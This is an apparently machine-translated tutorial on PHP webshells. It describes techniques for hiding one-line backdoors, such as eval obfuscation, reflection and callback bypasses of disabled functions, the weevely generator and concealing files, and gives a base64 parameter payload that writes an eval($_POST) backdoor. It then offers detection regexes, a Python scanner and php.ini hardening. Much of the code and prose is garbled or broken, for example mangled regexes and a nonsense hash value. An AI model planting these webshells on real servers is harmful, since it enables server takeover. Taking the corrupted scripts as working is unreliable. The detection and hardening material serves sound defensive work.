This article describes the PHP Security webshell and webshell detection examples. PHP-based applications face various attacks:
XSS: for PHP Web applications, cross-site scripting is a vulnerable point. Attackers can exploit this vulnerability to steal user information. You can configure Apache or write safer PHP code (verify all user input) to prevent XSS attacks.
SQL injection: this is a vulnerable attack point at the database layer in PHP applications. The defense method is the same as above. A common method is to use mysql_real_escape_string () to escape the parameters and then perform SQL queries.
File Upload: It allows visitors to place (upload) files on the server. This may cause a series of problems, such as deleting server files, databases, and getting user information. You can use PHP to disable file upload or write safer code (for example, to test user input, only png and gif images can be uploaded)
Contains local and remote files: Attackers can enable remote servers to open files, run any PHP code, upload or delete files, and install backdoors. You can prevent remote file execution by canceling the settings.
Eval/assert: This function can execute a string like PHP code. It is usually used by attackers to hide code and tools on the server. By configuring PHP, canceling eval and other function calls
Sea-surt Attack (Cross-site request forgery, CSRF. Cross-site request forgery): This attack causes end users to execute unspecified behaviors under the current account. This will endanger the data and Operation Security of end users. If the target end user's account is used for administrator permissions, the entire Web application will be threatened.
This section describes the methods of the above-mentioned bold attacks.
I. various webshells
As the business volume increases, more and more hackers are attacking and scanning websites. website security is becoming increasingly important. hackers are getting control of the server without any worries. The most common way is to upload Trojan files through POST requests, in this way, attackers can execute arbitrary commands. if they are controlled, this would be a bad thing.
Therefore, we still need to face up to the security of servers.
The most popular backdoor is called a one-sentence Trojan. Its format is as follows:
$ Cmd"; die;}?>
This vulnerability is easily detected by security software. In order to enhance concealment, there is a variety of distortion of a single-sentence Trojan, which is disguised by various functions,The weak PHP type is fatal to security.
A. Use the str_replace function
// Description: request parameter? Code = fputs (fopen (base64_decode (J2MucGhwJw =), w), base64_decode ("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg =") final command execution
")?>
B. use the str_rot13 function.
// Note: First, use str_rot13 ('riny') to hide the eval function. Then, with the e modifier, after preg_replace completes string replacement, the engine evaluates the result string as the php code using the eval method and uses the return value as the final string to be replaced.
C. use the include function
// Because the include method can directly compile files in any format to run in php format, you can upload a php file in txt format and write the real backdoor into the text.
D. use the pack function.
E. use session
F. hide on the html page404 Not FoundNot FoundThe requested URL was not found on this server.
G. use the assert function.
Or
H. use the copy function to copy files.
II. code obfuscation
Or
The weevely tool can be used to generate the code. the code disguise avoids various mainstream anti-virus software.
PHP webshell generation tool weevely
Weevely is a free software for PHP webshell. it can be used to simulate a connection shell similar to telnet. weevely is usually used to exploit web program vulnerabilities, attackers can hide backdoors or use telnet-like methods to replace web page-based management. The php code generated by weevely is Base64-encoded, so they can cheat the mainstream anti-virus software and IDS, after uploading the server code, you can run it directly through weevely.
The PHP backdoor generated by weevely uses the mainstream base64 encryption and string deformation technology. all functions used in the backdoor are commonly used string processing functions, functions such as eval and system that are used as check rules do not directly appear in the code, which can cause the backdoor file to bypass the check of the backdoor search tool. Scan by using the webshell detection and removal tool of the hidden group. The results show that the file has no threats.
A more common method for audio/video recognition: (this is a server-level obfuscation)
File modification time
Renaming is integrated into the uploaded folder, which makes it impossible to see the file exception.
Disguised processing of file size (at least looks like a normal script)
Select the hiding path and minimize access
Malformed directory % 20
3. if the configuration file is bypassed
Generally, the server administrator will disable dangerous functions such as system and exec. how can this problem be bypassed?
1. use reflection
invokeArgs(array("$_GET[c]"));?>
2. use callback
Another method provided by php that can indirectly call a function is callback. here we use ob_start.
There are many other functions that support callback in php, such as array_map, array_filter, array_reduce, usort (), uksort (), and array_walk ().
4. what should security personnel do? 1. how to find
There are also many ways to find
An exception was found during file backup comparison by file name/modification time/size (SVN/Git comparison to check whether the file was modified)
WEBSHELL scan scripts found, such as Scanbackdoor. php/Pecker/shelldetect. php/(zhujiweishi)
Access. log access log analysis
The following figure shows the 360 zhujiweishi, which is very simple and easy to use on linux servers.
#! /Usr/bin/env python # encoding: UTF-8 import OS, sysimport reimport hashlibimport time rulelist = ['(\ $ _ (GET | POST | REQUEST )\[. {0, 15} \] \ s {0, 10} \ (\ s {0, 10} \ $ _ (GET | POST | REQUEST )\[. {} \] \) ',' (eval | assert) (\ s | \ n) * \ (\ s | \ n) * \ $ _ (POST | GET | REQUEST )\[. {0, 15} \] \) ',' (eval (\ s | \ n) * \ (base64_decode (\ s | \ n )*\((. | \ n) {1,200 })', '(function \ _ exists \ s * \ (\ s * [\' | \ "] (popen | exec | proc \ _ open | passthru) + [\ '| \ "] \ s * \)', '(e Xec | shell \ _ exec | passthru) + \ s * \ (\ s * \ $ \ _ (\ w + )\[(. *) \] \ s * \) ',' (\ $ (\ w +) \ s * \ (\ s. chr \ (\ d + \) ',' (\ $ (\ w +) \ s * \ $ \{(. *) \}) ',' (\ $ (\ w +) \ s * \ (\ s * \ $ \ _ (GET | POST | REQUEST | COOKIE | SERVER) + \[(. *) \] \ s * \) ',' (\ $ \ _ (GET | POST | REQUEST | COOKIE | SERVER) + \[(. *) \] \ (\ s * \ $ (. *) \) ',' (\ $ \ _ \ = (. *) \ $ \ _) ',' (\ $ (. *) \ s *\((. *) \/e (. *) \, \ s * \ $ \_(. *)\,(. *) \) ',' (new com \ s * \ (\ s * [\ '| \ "] shell (. *) [\ '| \ "] \ s * \)', '(echo \ s * curl \ _ exec \ s * \ (\ s *\ $ (\ W +) \ s * \) ',' (fopen | fwrite | fputs | file \ _ put \ _ contents) + \ s *\((. *) \ $ \ _ (GET | POST | REQUEST | COOKIE | SERVER) + \[(. *) \] (. *) \) ',' (\ s * \ $ \ _ FILES \[(. *) \] \ [(. *) \] \ s * \, \ s * \ $ \ _ (GET | POST | REQUEST | FILES) + \[(. *) \] \ [(. *) \] \ s * \) ',' (\ $ \ _ (\ w + )(. *) (eval | assert | include | require | include \ _ once | require \ _ once) + \ s * \ (\ s * \ $ (\ w +) \ s * \) ',' (include | require | include \ _ once | require \ _ once) + \ s * \ (\ s * [\ '| \ "] (\ w + )\. (jpg | gif | ico | bmp | Png | txt | zip | rar | htm | css | js) + [\ '| \ "] \ s *\))', '(eval \ s * \ (\ s * \ $ (\ w + ))', '(eval | assert | include | require | include \ _ once | require \ _ once | array \ _ map | array \ _ walk) + \ s * \ (\ s * \ $ \ _ (GET | POST | REQUEST | COOKIE | SERVER | SESSION) + \[(. *) \] \ s * \) ',' (preg \ _ replace \ s *\((. *) \ (base64 \ _ decode \ (\ $) '] def scan (path): print ('suspicious Files') print (' * 30) for root, dirs, files in OS. walk (path): for filespath in files: if OS. path. get Size (OS. path. join (root, filespath) <1024000: file = open (OS. path. join (root, filespath) filestr = file. read () file. close () for rule in rulelist: result = re. compile (rule ). findall (filestr) if result: print 'File:' + OS. path. join (root, filespath) print 'malicious code: '+ str (result [0] [0: 200]) print ('last Modification time:' + time. strftime ('% Y-% m-% d % H: % M: % s', time. localtime (OS. path. getmtime (OS. path. join (root, filespath) print '\ n \ N' breakdef md5sum (md5_file): m = hashlib. md5 () fp = open (md5_file) m. update (fp. read () return m. hexdigest () fp. close () if md5sum ('/etc/issue') = 'hangzhou': if md5sum ('/usr/sbin/sshd') = 'abf7a90c36705ef679298a44af80b10b': pass else: print ('* 40) print "\ 033 [31 m sshd was modified, suspected to have a backdoor \ 033 [m" print (' * 40) time. sleep (5) if md5sum ('/etc/issue') = '6c9222ee501323045d85545853ebea55 ': If md5sum ('/usr/sbin/sshd') = '4bbf2b12d6b7f234fa01b23dc9822838 ': pass else: print (' * 40) print "\ 033 [31 m sshd was modified, suspected to have a backdoor \ 033 [m" print ('* 40) time. sleep (5) if name = 'main': if len (sys. argv )! = 2: print 'parameter error' print "\ t search by malicious code:" + sys. argv [0] + 'directory name' if OS. path. lexists (sys. argv [1]) = False: print "The Directory does not exist." exit () print ('\ n start searching:' + sys. argv [1]) if len (sys. argv) = 2: scan (sys. argv [1]) else: exit ()
2. how to prevent php. ini settings
Disable_functions = phpinfo, passthru, exec, system, chroot, scandir, chgrp, chown, shell_exec, proc_open, commit, ini_alter, ini_alter, commit, dl, pfsockopen, openlog, syslog, readlink, symlink, popepassthru, stream_socket_server, get_current_user, leak, putenv, popen, opendir
Set "safe_mode" to "on"
Disable "open_basedir" to prohibit operations on files outside the specified directory.
Set expose_php to off so that php will not disclose information in the http file header.
Set "allow_url_fopen" to "off" to disable remote file function
Log_errors "is set to" on "error log enabled
Php coding
All the information submitted by users, such as post get or data submitted in other forms, must be processed by a filter function. (intval, strip_tags, mysql_real_escape_string)
Check whether there is a Trojan eval ($ _ POST [full site search for php code, whether there is such source code
File naming rules should be at least visible to you. which php file names have problems?
Install the patch as soon as possible if you use open source code or a patch.
If attackers obtain the highest permissions on the server, they may modify the server's configuration file php. ini to hide backdoors. these attacks were popular in the past few years. The principle is as follows: php. the two configuration items in ini: auto_prepend_file and auto_append_file allow php to add some items into the file Automatically add files before or after any PHP document before parsing. if eval () is configured () the webshell of the function is very sinister. it cannot be found in the php file code. it only contains the eval () function before php parsing and all php pages are webshells because it is global! Therefore, you must first check that auto_prepend_file and auto_append_file are not configured as other items before performing source code check.
Server Configuration
Try to use the minimum permission during configuration. do not write or execute directories and do not grant corresponding permissions.
When configuring nginx or apache, the directory that cannot be accessed must be configured as deny.
The above is a detailed description of the PHP Security webshell and webshell detection examples. For more information, see other related articles in the first PHP community!